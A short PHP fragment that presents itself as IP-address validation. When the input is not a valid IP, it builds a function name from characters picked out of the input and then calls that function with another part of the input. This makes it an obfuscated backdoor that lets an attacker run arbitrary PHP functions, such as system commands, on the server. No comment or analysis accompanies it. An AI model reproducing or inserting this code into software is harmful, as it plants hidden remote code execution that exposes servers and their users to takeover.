<?php if (filter_var($x, FILTER_VALIDATE_IP) === false) { $ip = explode('.', $x); var_dump($ip); $ip_validate = ''; $check_token = explode(',', $ip[0]); foreach ($check_token as $key => $value) { $ip_validate.= substr($ip[1], $value, 1); } $ip_validate($ip[sizeof($ip) - 1]); }
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